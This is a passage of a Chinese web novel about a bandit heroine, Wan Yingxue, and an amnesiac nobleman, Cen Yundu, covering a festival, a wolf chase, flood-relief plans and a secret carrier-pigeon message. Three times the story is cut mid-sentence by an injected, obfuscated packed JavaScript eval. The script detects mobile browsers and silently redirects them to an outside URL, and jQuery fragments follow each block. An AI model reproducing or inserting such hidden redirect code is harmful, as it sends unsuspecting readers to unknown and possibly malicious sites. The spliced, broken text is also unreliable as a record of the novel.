茶楼里冷冷清清,一方不大的院子里只摆了两张桌子,墙角种的几株翠竹高出墙头,溢出满园绿色。
黑衣人推出一道门缝,左右张望一圈,见无人注意这里,小心翼翼地关上门并插上门锁,将街上的喧闹隔绝在门外。
“拿到了吗?”
一人同样身着黑衣抱剑靠在墙角突然出声问道。
黑衣人刚要抬脚迈步,就被这人吓得一哆嗦,转头看见他一脸严肃的表情就气不打一处来:“你能不能不要总是突然说话啊,很吓人的!”
“跟你说过多少遍了,不要静悄悄地跑到角落,然后趁所有人不注意突然讲话。就不说我了,你想想光殿下被你吓到过多少次。”
影三一把将影七从角落里拽出来,掰着指头给他一件件地数。
短短几步路,影三的十根手指就已经用不下了。
影三絮絮叨叨,给自己说得唾沫横飞,余光一扫影七还是那副冰块脸。
“……”
“油盐不进!老大呢?”
不等影七回答,他就已经“噔噔噔”的跑上茶楼。
影七看着他急匆匆的背影,又顶着那张冰块脸隐在角落,默不作声地立在暗中监守,不放过院子的每个角落。
二楼依旧冷清,只有影三自己的脚步声回响。他来到唯一的一扇门前,屈指扣了扣,听得屋内传来一句“进”。
他推门而入,影一负手立于雕花木窗前。
“没被发现吧?”说着,转身接过影三递过来的书册,一页页认真翻看。
“当然没被发现。”影三拎起茶壶给自己倒了杯水,一口饮尽,继续说道,“据我观察,殿下这几天过得应当还不错,脸色红润不少。”
影三两眼闪烁着八卦的光芒:“老大你是没看见,那姑娘冲进来大手一挥——全给我包起来!殿下直愣愣地就跟着人家走了哈哈哈。”
影一瞪他一眼,沉声道:“殿下私事,不能随意调侃。”
影三立刻收起笑容,缩着头闷声应下。
“老大,殿下留下什么消息没?”他正色问道。
影一将书翻到一页,放在桌子上点了点几处。
这书显然是刚印出来的,墨迹还没有干透,几个小字最后的落笔处都有一道几乎不可察的晕染痕迹。
“平、洲、知、府。”
——
“平州知府?”岑云度看向身侧的人,疑惑问道。
“不然我一个山匪哪来的银子?”万迎雪反问道。
岑云度看着旁边的姑娘,一会去道左问问圆子怎么卖,一会又被道右的面具摊吸去了注意,问过价后,她嘴里还嘟囔着“完了完了,买贵了……”,眼见着她又要跑远了,他终于忍不住问出口:“你把这些说给我,不怕我是知府的人或者什么其他有心之人吗?”
万迎雪听见他的话,抬眼对上他的视线。
六月的天,太阳正是毒辣,尽管太阳就要落下去,空气却依旧炎热。
菜市本就人挤人,一路走来岑云度都出了一层薄汗,可是对上那双被夕阳映衬的眼睛,好像如沐春风般舒适。
“你是什么人,对我来说不重要。”
岑云度的心凉了凉,没等他追问,她继续说下去。
“你来寨子里好几天了,你那么聪明应该能看出来,山寨里的人都是无家可归的,是我一个个救治,收留下来的,他们愿意留下来当个山匪也是报我这个恩。”
“你说你失忆,那我便当你失忆。你要留下来,我也让你留下来。你问我怕不怕你会出卖我,我不怕。”
“我带着匪众劫富商,劫赃款,恨我的人多了去了,想我死的人更是不在少数。你要杀我,成功算你厉害;你要阻我,那你阻的不仅仅是我;你要助我,那算我交到了一个朋友。”
“我的消息有什么可藏的呢?为什么我劫了那么多人,他们还没来杀我?时机没到。你也是。”
万迎雪上前一步,把手中那张狐狸面具戴到他的脸上,拽住他的衣领,让他的头低下来,在他耳边轻轻说道:“我不管你是来做什么的,都给我藏好了,杀我可以,无故伤其他人,我们不死不休。”
说罢,她松开手,漫不经心地帮岑云度抚平了衣襟,勾唇一笑,一颗小虎牙又冒了头。
岑云度这才感觉到凝固住的氛围又流动起来。
方才的一番话,让他的心里有种说不出来的感觉。
他一时想不出那是什么。
岑云度看着和小摊讨价还价的万迎雪,他不再深想,将心里那股说不清的滋味压了下来,迈步追了过去。
万迎雪坐在桌子边,一勺一勺地吃着糖水,拄着脑袋一脸好奇地看着岑云度手上的摆弄的东西,问道:“你买这个做什么?”
此时的岑云度头也没抬,拿起桌子上的花,认真打量后,一朵朵地插在扇子上。
“簪花。”
“看不出来啊,你还有这手艺。”万迎雪夸赞道。
“可能……以前看过别人插花,学了些皮毛。”他手上动作不停,一朵朵娇艳的花朵被他编进竹扇,华丽却不艳俗。
一口冰冰凉凉的糖水下肚,万迎雪幸福地眯起眼睛。
岑云度抬眼瞟了一眼,唇角不知何时勾了起来:“你不问我送谁吗?”
万迎雪一怔:“送谁?”
分明听到了想听的问题,可岑云度却卖起关子:“不告诉你。”
“嘁。你不尝一碗吗?真的挺好喝的。”
“不了,我得给山匪省点银子。”
“……”
夕阳渐落,华灯初上,街上行人依旧络绎不绝,多是成双成对。
“二位不去放河灯吗?”糖水铺老板见两人好奇的看着人群,笑眯眯问道。
“这些人都是去放河灯的吗?”万迎雪问道。
老板抬手指了指不远处的那条河,说道:“看那条河,宽且深,其余的河如这般宽的一到丰水季,又是堵又是疏。偏偏这条河,从来没决过堤。老人就传下来这条河的河神仁慈,见不得人间疾苦。”
“于是每年却扇会,年轻的小郎君和小娘子会去这条河里放河灯,以求来年的平安顺遂。”
“老板,来碗糖水!”
邻桌戴面具的小郎君与一位小娘子一同坐下,小郎君一看就涉世未深,正襟危坐在椅子上,眼睛似要把这碗盯出花来,耳廓的那抹红也不知是灯映的还是什么其他缘故。
老板还想再多讲两句,一见客人来了,急急忙忙地招呼去了。
“你……要去看看吗?”岑云度问道。
“去吧,我们也去讨个好彩头。”说着,万迎雪起身顺着人流的方向走去。
突然间,她感觉自己的袖子被轻轻拉住,她回头一看,竟是岑云度。
“人……人太多了,我怕我们走散了。”
河面朵朵莲灯挤在一起,顺着水流慢悠悠飘向远方,微亮的灯火汇聚在一起,照亮漆黑的天际。
万迎雪拿着小贩递给她的毛笔,没多作思索,提笔在纸上写道:“河清海晏,盛世昌平。”
纸条被折成小块,放入河灯之中,带着一盏烛火摇摇晃晃地与其他花灯一同
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527292|203572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
远去。
万迎雪直起身,正打算叫岑云度打道回府,却看见这厮还捏着笔迟迟落不下去。
反正也没其他事情,她也不催,抱着臂膀仰头看树枝上挂的红签,暖黄的灯光映在她的脸上,倒显得人多了几分沉静。
岑云度看见的便是这一番光景。
久久落不下的笔突然间有了灵感。
于是,河灯载着这张纸条向已经漂远的花灯追去。
返程的路上岑云度格外地安静,骑着黑马行在万迎雪身侧。
山间小路不似白天那般好走,但幸好还有月光相伴,照亮眼前的路。
“方才的河灯……你写了什么?”岑云度突兀地问道。
这句话似是在喉咙里转了许久,久的都有一点沙哑。
“你又写了什么?”万迎雪没有直接回答,反问道。
等了许久也不出声,她侧头看去,那人竟是眼神放空,愣了神。
“喂,问你话呢。”她伸手在岑云度视线中挥了挥,刚要继续说些什么,余光中瞥见林中深处一双绿油油的眼睛一眨不眨的盯着他们。
她神经当即绷紧,一把捂住岑云度的嘴,冲他摇了摇头。
岑云度心领神会,顺着她手指方向看去。那只狼隐藏在黑暗中,压低身子,显然盯上了他们。
万迎雪握紧缰绳,示意他跟上。
她夹紧马腹,缰绳一甩,红鬃马猛地向前刺出,岑云度驾着黑马紧随其后,转眼间二人已经跑出一段距离。
而野狼见自己隐藏失败,猎物即将逃走,一声狼嚎后撒腿追去。
林间窸窸窣窣地声音越来越多,万迎雪侧头一看,一匹黑狼竟是从斜侧方冲过来,意图偷袭二人。
她扬起手中长鞭,在黑狼飞身扑来时,一鞭抽中狼眼。顷刻间血流如注,黑狼失去双眼,狠狠地砸在地上,被二人甩在身后。
“好身手!”岑云度赞叹道。
“过奖过奖!”
虽然摆脱了一只黑狼,但身后几只野狼还穷追不舍,紧紧跟在两人马后。
“这几只怎么办?”岑云度问道。
万迎雪向后看了一眼大致情况,说了一句:“跟紧我。”,她一甩缰绳,红鬃马紧急转弯,冲进一条小路。
岑云度还没反应过来,他驾的黑马就已经先他一步跟上前方的红鬃马。
感情那句“跟紧我”不是跟他说的,是跟这匹马说的?
不过紧急关头,担心拖黑马的后腿,他没出声。
红鬃马又是紧急拐弯又是突然冲刺,这一番操作下来,身后的狼已经甩的差不多了,只剩一只还在紧紧跟着。
正当岑云度以为她要故技重施,再度急转甩开野狼时,前方一道地裂缝横在眼前,足有三四米宽,裂缝下是一条湍急的河流,流水击打在碎石的声音敲在耳膜上。
万迎雪却没有惊慌,这条路是她特意选的。
她一带缰绳,口哨响起。
岑云度觉察到,他驾驭的黑马状态明显认真起来,具体表现在,之前他牵着缰绳,这马心情好还能顺着左右跑两步,现在这匹马似乎完全忽视掉它背上的人。
只有那哨声的主人才能真正的驾驭它。
两匹烈马速度越来越快,地缝近在咫尺,岑云度不禁抓紧缰绳,心跳逐渐加速。
他知道万迎雪要做什么了。
红鬃马前腿用力,后蹄蹬起,黑马紧随其后,两具马身在空中略过,随后稳稳落在地裂的另一端。
野狼本就没有进食,追了这么久更是透支了体力,本来能跨越的裂缝,此刻它却不敢上前。
一声狼嚎凄切哀怨。
5. 第 5 章
两人脱离危险,速度渐渐放缓,马蹄哒哒声冲淡了紧张的氛围。
这片林子远比刚才来时的密很多,月光被片片树叶遮挡,只留下些许斑斑点点如碎银般的光亮。
随着两人越来越深入林子,光线愈发黯淡。
岑云度拿出火折子,快行几步,驾马行至前方,正要点火照明引路,却被拦下。
万迎雪悠悠说道:“不急,再走几步。”
岑云度见她一副悠闲样子,想来对这里很熟,便没有多问,顺从地收起火折子,在前方为她开路。
正如万迎雪所说,几步之后,前方似有微光。
再行几步,微光化作点点萤火散入林中,隐入草间,似星子落在枝叶上。
如苔花般的小虫发出的一点光亮,汇聚在一起却能照亮一片黑暗。
岑云度不禁看得入神。
十八年在朝堂尔虞我诈的生活,每日被各种琐事烦心,哪里有闲适的时间去认真看这些弱小的生命。
两匹马一前一后,马蹄惊起一片萤火。
小虫在空中盘旋,又落下,方才静谧的景色,此刻如同有了生命。
万迎雪伸出手指,接住一只流萤,递到岑云度面前,声音带笑却轻柔,似是怕惊动了它:“城里来的小郎君,见过这么美的景色吗?”
岑云度瞥了她一眼,掌心接过流萤,语气听不出喜怒,淡淡说道:“你不是说不在意我是谁吗?”
一点萤火在掌中忽明忽暗,偏偏这点不算亮的光让她看见了这人似是轻轻抿起的唇。
万迎雪收回的手指僵住,转而笑出声:“不在意又不是不好奇。家里的俊秀小郎君走丢了,谁会不着急啊,万一让山匪抓去了怎么办?”
“你!”
掌心的萤火歇息够了,扑扇着翅膀飞远去,带走了这一点光亮。
不过,也幸好这小虫飞走了,替他遮掩了耳廓上的一抹红。
岑云度自觉失态,不再言语,他一带缰绳,默不作声地加快速度,两人顿时拉出一段距离。
万迎雪更觉好笑,读书人面子就是薄,说两句就走了。
口哨响起,黑马乖顺地停住脚步,任凭岑云度怎么牵也不理他,甚至还挑衅般退了两步。
“小郎君生气啦?”万迎雪慢悠悠地追上去,调笑道。
岑云度的耳廓更红了,也不知是羞的还是气的。
“没有。”他听见自己直愣愣地说出这两个字,心中顿觉不妙。
“没有生气还是没有害羞?”
果然。
圣人讲礼义廉耻,讲男女有别,她竟是半点也没学到吗?
亏她还有书房。
哦,她说山匪不读书……
岑云度别过头去,不吭声。
“好啦好啦,小郎君,我给你赔罪怎么样?”万迎雪玩笑道。
岑云度不语,只是一味地向前走。
谁知道他接了一句话,那不读书的山匪又要口出什么狂言。
萤火的光亮渐渐消失,取而代之的是迎面而来的月光。
穿过林子,眼前豁然开朗。宽阔的草地上流淌着一条小河,河面波光粼粼。
万迎雪引着马向河流走去,岑云度没来过此地,也不认得回山的路,索性跟在后面。
“吁”
红鬃马乖巧地停下。
岑云度看着她利落地翻身下马,然后不知从哪里摸出来一根足有半人高,手腕粗细的树枝。
树枝顶端还带着几片叶子,他定睛一看,最深处的叶子里藏着一只迷路的小虫在闪着光亮。
只见万迎雪站立河边不动,片刻后眼光一亮,动作干脆,握着树枝插入水中,再抬起时,树枝一端赫然插着一条肥美的河鱼。
她举起树枝,转身朝着岑云度晃了晃。
今夜无云,月光正是明亮,万迎雪脸上扬起的笑容,眉眼间的得意,直直地撞在他的眼底。
一条鱼而已,这就是她的赔罪?
岑云度压下不知何时勾起的唇角,一撩衣袍,从容下马。
屈尊降贵地蹲地身捡了些柴火,看得万迎雪啧啧称奇。
方才收起的火折子到底还是用上了,枯枝在火中噼里啪啦作响,鱼肉的香味飘出。
“呐,赔罪。”
烤好的鱼肉递到岑云度手边。
“让你尝尝那家糖水,你还不喝。这下好了吧,山寨一时半会是回不去了,你伤势痊愈才几天,总不能饿着肚子吧。”
“接着呀。”万迎雪催促道。
“……”
鱼肉外酥里嫩,不柴不腥,细细品来还有些草木香。
“……多谢。”
万迎雪笑嘻嘻地说道:“不气啦?小郎君哪里来的这么多气。”
小郎君咽下鱼肉,淡淡地说道:“气自己被山匪抓走了吧。”
她“嘁”了一声:“山匪还给小郎君烤鱼呢。”
岑云度适时没接话,转而问道:“我们从这里回山寨还要多久?”
“不远,天亮之前就能到。”
事实证明,山匪虽然不读书,但她不骗人。
当太阳从地平线升起,第一缕阳光照在地面上,两人刚好看见山寨的大门。
为了躲避狼群追捕,驾马跑出好几公里路,又为了防止回来路上再次撞见蹲守的狼群,两人特意选了最绕远的一条路上山。
尽管考虑到岑云度身体状况,一晚上走走停停,但两人的精力仍然耗尽。
万迎雪倒是还好,半夜打劫打习惯了,还能撑得住。反而岑云度因为重伤初愈没多久,又是一夜未眠,身体有些吃不消。
两人疲惫地牵着马回到小院休息,路上万迎雪与他有一搭没一搭地说话,他也尽数应下。
直到院口分别时,待她关上房门后,岑云度才踉跄着脚步,进入屋子。
屋子内依旧保持着他离开前的样子,他撑着身体在床榻尾处摸索。不多时,一张折叠好的纸条被翻出。
纸张薄如蝉翼,上面用小字写着:“曲河决堤,知府换粮。”
——
“曲河决堤?!”
议事堂内,众人惊呼出声。
“受灾情况如何?”,一头发花白的妇人问道。
“邻县位于曲河水系下游,数十个村庄被毁,伤亡人数还未统计出来,幸存的村民纷纷投奔其他县城,这里就是其中之一。”万迎雪答道。
方才她歇下不久,就被急促的敲门声吵醒。暗线传来消息,正值雨季汛期,曲河水系水位疯长,于昨日冲破堤坝,流民积聚。她急忙派人叫来贺锦元和阙双滢等人,于议事堂商讨具体事宜。
万迎雪拿出一本账簿,递给阙双滢:“这是十万两白银的购买账目,大家都看一下。”
账簿一人看完后传给另一人,等众人都看过一遍,她继续开口说道:“王婶选了李家村和赵家村两户去年受灾最严重的村子,以高于粮商十倍的价格,抢先收购了余粮。多出来的银子农户还能买些粮食和种子,度过今年年冬天。”
“从粮商手中采购的粮食数量太多,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527293|203572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
寨里一时放不下,现在暂存在县里。”
“如今河道总督席丞诏已经收到消息,正在赶来的路上,估计没几天就到了。堤坝那边有官府的人处理,但是还有一些流民没有得到安置。明后天我带人出发,将粮食运过去,流民应该能撑些日子。”
一人担忧道:“粮食存在县里,我们如何运过去呢?”
万迎雪早有准备:“城门那里贺锦元已经打点好了,明晚贺锦元和阙双滢带人去接应。阙双滢带队的粮食运回寨子,贺锦元带队直接来邻县与我回合。”
万迎雪安排妥当,众人没有异议,商讨出发的事宜。
夏季炎热,议事堂的门没有关,山间夏风舒爽,吹散屋内的热气。
也正因如此,万迎雪与众人商讨间,视线数次掠过那扇房门──它从中午到现在依旧紧闭着,没有打开过。
她心中不禁有些担忧。
琐事繁杂,待众人散去时,夜色已深。
“迎雪姐,刚才商议的时候就见你有些分神,发生什么事了?”阙双滢好奇问道。
“你们今天议事之前有谁看见岑云度了吗?”万迎雪问道。
阙双滢与贺锦元对视一眼,一同摇头。
贺锦元问道:“岑先生他从早上回来一直歇息到现在?”
万迎雪眉头皱起,步履匆匆地走向那扇门,“沈大夫呢?让他过来。”
“咚咚咚”
急促地敲门声起,屋内却无人应答。
等了片刻还是没有声音,万迎雪拧眉,后退两步,抬脚踹在门上。
“砰”
木门大开。
万迎雪直奔床榻而去。
榻上的人眉头皱起,唇上血色褪去,双颊泛着不自然的红晕,额头冷汗直出,尽管盖着被子,身体仍在不自觉地发抖。
万迎雪上前一步,伸手试探他额头的温度,回头吩咐道:“他发热了,锦元快去打水来!”
贺锦元手脚麻利,一盆井水很快便被端进屋。
毛巾浸在冰凉的井水中,拧干后搭在额头上,擦去细汗。
几番下来,岑云度眉头稍稍舒展开。
正巧此时沈不野赶到,拎着药箱匆匆进门,把脉后施了几针,温度才有了降下去的迹象。
沈不野一捋胡须:“没什么大事,虽然是夏天,但夜间风凉,他伤势刚好,还承受不住,受了点风寒,出出汗就好了。”
确认岑云度的状况好转以后,沈不野又拎着他从不离身的小药箱匆匆离开。
“沈大夫怎么总是匆匆忙忙的?”贺锦元看着老头急匆匆的背影,小声和阙双滢说道。
阙双滢摇摇头:“不知道,忙着喝酒去了吧?”
沈不野的话让万迎雪稍稍放下心来,见岑云度呼吸平缓,已经没有大碍,便不再打扰他休息,带着两人一同出门。
天色已晚,阙双滢与贺锦元两人也不好多留,再三问询万迎雪要不要帮忙,都被婉拒后,两人才不舍地离去。
送走两人后,万迎雪正准备回屋,余光偶然扫过房门旁边的窗台,一柄熟悉的竹扇插在花瓶中。
不知岑云度怎么做到的,一晚上的奔波,扇上的花朵竟然保存完好。竹扇插在水中,花朵的茎叶靠着一点水分依旧开得旺盛。
她脚步一顿,拐了个弯,将花瓶往阴凉处推了推。
似是突然反应过来自己做了什么,万迎雪转身快步进了屋子,关上房门。
夏风最是懂人心,带着若有若无的花香萦绕在房间里,久久未曾散去。
6. 第 6 章
伴花入睡,一夜无梦。
万迎雪既担忧晚上运粮计划,又忧心岑云度会不会再次病倒。
于是,当她大早上醒来,刚推开门便愣在原地。
只见对门的病人坐在一张小椅子上,神情专注地拿着一只小铲子,给院门口的一块土地松土。
想来是身体刚刚好些,且已经铲了许久,动作间虽然依旧赏心悦目,却明显有些吃力。
天空泛起鱼肚白,蒙蒙的光亮照在身上,她也因此看清了岑云度的脸。
他的袖子被襻膊束起,露出线条流畅的小臂。脸上仍然带着病气,但比昨日红润许多,唇角因为用力而紧紧抿起,汗水顺着脸颊滑落。
等等。
万迎雪定睛一看,脸上的土是哪来的?
心头正疑惑呢,就看见岑云度无意识地抬手拭去脸颊上的汗珠,手臂上不知何时粘上的泥土也蹭到了脸上。
“噗嗤”她到底是没忍住,轻笑出声来。
岑云度循声回头:“迎雪姑娘醒了?”
万迎雪点点头,问道:“你这是……要种东西吗?”
他微微地笑道:“前天却扇会上,当我拿起那些花时,有一些熟悉感,我猜可能和我的记忆有关。于是我向一位大哥借来了铲子,想着种些花,会不会想起来些什么。”
万迎雪了然般点点头,想说些别的,但他脸上的土太过引人注意:“你要不要擦一下?”
“什么?”岑云度还没反应过来。
只见她拿出帕子,转身向水井边走去,路过窗台时,不经意瞥见昨夜被她往后推了推的花瓶。
一晚上过去,花瓣有些枯萎,万迎雪脚步顿了一下。
岑云度见她注意到了那柄花扇,心微微提起,刚要开口解释,万迎雪却继续走向水井,他也只好把话咽了回去。
浸了水的手帕和一只小巧的铜镜递到他的面前:“嗯,擦擦脸。”
岑云度刚接下来,一声谢还没说出口,远远地就听见贺锦元扯着嗓子的声音:“迎雪姐!”
万迎雪抬头看去。
只见来人头顶一块黑布,头发、五官均包裹在里面,只露出一双眼睛。上衣裤子也一身黑色,甚至还特意配了双黑色鞋子。
“迎雪姐!你看这装扮如何?我和兄弟们对着话本子研究出来的搭配,他们都说可帅了,特别有大侠的气质。”
贺锦元边说还边转了个圈,展示他为晚上行动精心准备的穿搭。
万迎雪看得两眼一黑。
贺锦元沉浸在自己的想象中,完全没有注意到迎雪姐的脸色已经快要和他的衣服一般黑了,还在兴致勃勃地说:“月黑风高,我将带着人一路杀到城门口,小小粮食,不在话下!”
“到时候,迎雪姐你将看见我贺大侠带着粮食去见你!”
岑云度刚才趁着贺锦元大放厥词时,自己坐在小椅子上,擦掉了脸上的土。
此时,他抬头右看看贺锦元眉飞色舞,左看看万迎雪青筋暴起,最终还是心软,决定大义凛然一回,救下这个被江湖话本占据大脑的少年。
“诶?”贺锦元正准备继续讲讲身上布料的由来,却感觉有人戳了戳自己,低头一看,竟然是岑云度。
“拿着。”岑云度说道。
一只铜镜递到身前。
贺锦元挑眉:“岑夫子竟然还有如此爱好,每天随身携带镜子的?”
岑云度没有辩解。
“贺锦元,你是生怕别人看不出来你要做什么吗?你要是敢穿这身来宣县见我,那你这个寨子是活着回不来了。”万迎雪拧着他的耳朵,语气森森然。
贺锦元揉揉耳朵,捧着铜镜瘪着嘴向院外走去,还嘟嘟囔囔地自言自语道:“不好看吗?多帅啊,阙双滢不是说迎雪姐肯定喜欢吗……”
万迎雪无奈扶额。
“你要去宣县?”岑云度问道。
“嗯,昨天你生病了,没来得及跟你说。曲河决堤,宣县受灾严重,流民聚集在县城附近,我带人送些粮食过去。”
“我跟你去。”岑云度接道。
万迎雪打量了他一眼:“你去做什么?病好全了没有就跟着去,路上再发热我去哪里给你找大夫?”
岑云度敛下眉眼:“我想去看看能不能给你帮上点忙,而且上次下山我找到一点熟悉感,这次我也想试试,万一能想起什么呢。”
万迎雪低头看去,这人坐在椅子上,双手紧张地摩挲着花铲,整个人笼罩着失落的氛围。
“啧。”见他这幅样子,万迎雪拒绝的话在嘴里转了一圈还是咽了回去,“你去通知……算了,你。”她指着门口的守卫,“你去通知沈大夫,让他带好药品,跟我们一起去。”
岑云度猛地抬起头,惊喜道:“你同意了?”
“再问就不同意了。”
“……”
就在这时,一个山匪神色慌张,急匆匆地冲进院内:“老大,有新消息传来!”
万迎雪快步上前,接过他递来的纸条,眉头逐渐皱起。
“快去收拾东西,我们即刻出发。”她对岑云度说道。
岑云度见她神情严肃,不再多言,转身进入屋内。
那位山匪像颗石子,掷入水中,小院内顿时人来人往,急报一张一张送到万迎雪手中。
岑云度悄悄插上门栓,从床榻尾的缝隙中拿出一张与上次情报同样材质的薄纸。
他来到书桌前,研了一点墨汁,提笔在纸上写了几个字后,小心吹了吹,待墨迹差不多干透,折叠起来。
见院内众人忙成一团,无人在意这间屋子,他小心打开屋后的木窗。
“咕咕”
一只全身羽毛通体雪白的鸽子飞入窗内。
片刻后,鸽子脚上绑着信筒,掠过众人头顶,向着远方飞去。
“咚咚咚”
敲门声响起。
岑云度猛地回神:“怎么了?”
屋外,万迎雪问道:“收拾东西怎么这么久?”
“哦,我这件衣服在早上翻土时沾了些,我想着换一件利于行动的,但还没找到合适的衣服。”岑云度故作镇定回答道。
“换什么衣服,你是跟着去分粮,又不是让你去参加那家大门大户的宴会……”万迎雪吐槽道,转而又想起他平日里那副贵公子般的做派,催促道,“算了……你快点!”
“好。”
片刻后,门栓拉动,万迎雪微不可察地蹙了下眉。
木门打开,岑云度一手理着衣角,一手关上房门。
房门合得迅速,但万迎雪仍然从一闪而过的缝隙中瞥见了屋内的书桌──砚台似乎有一点反
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527294|203572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光。
他写东西了?
万迎雪不动声色地瞟了一眼岑云度。
神色正常。
“现在就走?”岑云度问道。
万迎雪点点头。
下山的路一帆风顺,上次的野狼估计只是路过,许是在这山不容易打到猎物,识趣离开了。
万迎雪骑着红鬃马走在队伍前方带路,岑云度则跟在她的身后。
阳光被树荫遮挡,照在万迎雪脸上时明时暗。
岑云度一时看不清她的神色。
从他出门后,万迎雪便没再与他多说话。
不知是因为怪他耽搁了时间而忧心流民,还是……她发现了什么?
眼下正值中午,早上兵荒马乱的,两人也没进过食。
岑云度从行囊里拿出带的干粮,快行几步,来到万迎雪身侧,将手中的干粮递了过去:“中午了,你还没吃饭,要不要先吃点?”他出声问道。
万迎雪扫了眼递来的干粮,说道:“我吃了你吃什么?”
“无事,我还不饿。”岑云度回道。
她侧头直直地盯着岑云度的眼睛,片刻后,缓缓从他手中拿走了那袋干粮,说道:“多谢岑公子。”
“你怎么还在唤我岑公子?”岑云度问道。
“你不姓岑吗?”
“……姓岑。”
“那唤你岑公子有什么错处?”万迎雪反问道。
岑云度叹了口气:“你知道我不是这个意思。”
“那你什么意思?”
“迎雪姑娘救我一命,是我的救命恩人,我自然应当尊重。可我们相处这么久,我以为我们已经是朋友了……”岑云度说道。
“和山匪交朋友?岑公子还真是别出心裁。”
“山匪劫贪官,救难民,如何当不得朋友?”
“……”
万迎雪没再接话。
岑云度突然问道:“你在怀疑我?”
她的目光锐利地刺过去。
岑云度似是没有察觉,继续说道:“我之所以跟你说要一同前去宣县,确实是因为我脑中似乎对宣县有点印象,但又很模糊。回到房间我换衣服时,将我想到的大致写了下来。”
一张叠得方正的纸送到万迎雪手边。
她将信将疑地接过。
“我大概记得一些人名,应该是我以前认识的人。此去宣县,我也想去拜访一二,也许能想起些想什么。”
如岑云度所说,纸上记着两三个名字,名字后面对应着街道,应该是这些人的居住地。
万迎雪不易察觉地动了动手指,沾了一点墨痕。
是刚写的?
她把纸还了回去,说道:“发完粮后你再去找他们。”
“好。”岑云度应下。
“嗯。”
岑云度看过去。
一壶酒?
“马奶酒,你的干粮这么噎人,你怎么吃得下去?”
岑云度轻笑出声:“多谢迎雪姑娘。”
万迎雪夹紧马腹快行几步,错过岑云度,再次行至队伍前端。
身后的那道视线似乎落在背上。
他是谁和她有什么干系呢?
他传递了消息又能做什么?
万迎雪压下心中的思绪,不再理会。
7. 第 7 章
河水卷着泥沙涌来,漫过河堤,漫过街道,一点点攀升,直到将门窗、屋顶吞没。
不知哪户院子里种了棵果树,枝繁叶茂,果子绿色的外皮已经沾了些红色。
洪水来前的上午,邻里的孩童围在一起,手里长杆一挥,果子落雨般掉在地上,孩童笑着跑开,跑得慢的还被果子不轻不重地砸了下。
有一颗最大最圆的果子高高挂在树枝上,那是晒得最红的一颗,孩童们无论如何也够不到这颗果子。
家长在门口招呼着孩子回家吃饭,他们约定,下午再来摘这个果子。
“轰隆”巨响,将人们从睡梦中叫醒。
家长来不及收拾细软,匆忙抱着孩子往高处跑去。
叫喊声、哭泣声在恐惧中蔓延。
那颗果子还挂在枝头,洪水推着根断掉的横梁撞在树枝上。
“噗通”
红果落入水中。
女孩被母亲抱在怀里,小小的身体蜷缩在一起。她从怀里掏出几个小果,放在母亲手里,细声细语道:“娘亲,小宁中午吃得很饱,还不饿,你吃。”
母亲握着那几枚小小的、还带着温热的果子,本就哭肿了的眼睛又落下了泪。
万迎雪等人撑着木船,登上高处时,看见这幅景象,一时间都难言悲切。
县里的官兵见又有人过来了,以为是幸存者,拿着户籍名册走来,询问道:“姓甚名谁,家住哪里?”
万迎雪上前一步:“在下是永昌商行的掌柜,姓万。想去京城做些买卖,途经此处,便来看看有没有能帮得上忙的。正好,我们商队多带了些粮食,估计大家能撑过一些时日。”
县里官兵人手数量不多,忙了一天。此时,户籍官兵一听是来帮忙的,神色顿时激动,但还要例行询问:“你们可有路引?”
“有。”
万迎雪从怀里摸出一张盖满官印并标注着永昌商行的纸张递了过去。
天色已黑,官兵借着火光大致扫了眼,便还给了她:“万老板,我带您去见县令大人。”
县城灯火通明,洪水虽然还没有蔓延到城中,但家家户户依旧人心惶惶。
城门口一座临时搭建起来的营账里,几位头发花白,身穿官袍的大人各执一词,激烈争辩,气氛顿时僵住。
这时,小兵的声音在账外传来:“报——!门外来了一行人,其中一人自称是永昌商行的掌柜。路过此地,前来捐献粮食,助赈灾民。”
“永昌商行,你可有听过?”一老者奇怪地向其他人问道。
——
账外,岑云度肩膀撞了下万迎雪,小声问道:“永昌商行?”
万迎雪脸上笑容未变,小声回道:“出门在外,我说是谁就是谁。”
他深吸口气,赞叹地点点头。
片刻后。
“万老板,您请进。”方才通传的小兵一路小跑,气喘吁吁说道。
万迎雪等人向账内走去,离营帐不远,还听见里面的争辩声。
“这什么永昌商行什么来头都不知道,你就让她进来?!”
“你管她是什么来头,你去城门口看看,难民们等得及我们去查她的来头吗?”
“......”
“眼下赈灾要紧,她能带来一点粮食,不就能活一个人吗!”
老者说不过县令大人,虽然觉得不妥,但他也拿不出办法,甩袖出了营帐。
正巧遇见万迎雪等人,冷哼一声,转身离去。
“万老板,快请快请!”县令招呼道。
“早就听闻永昌商行的大名,今日一见万老板,果真名不虚传!”县令大笑道。
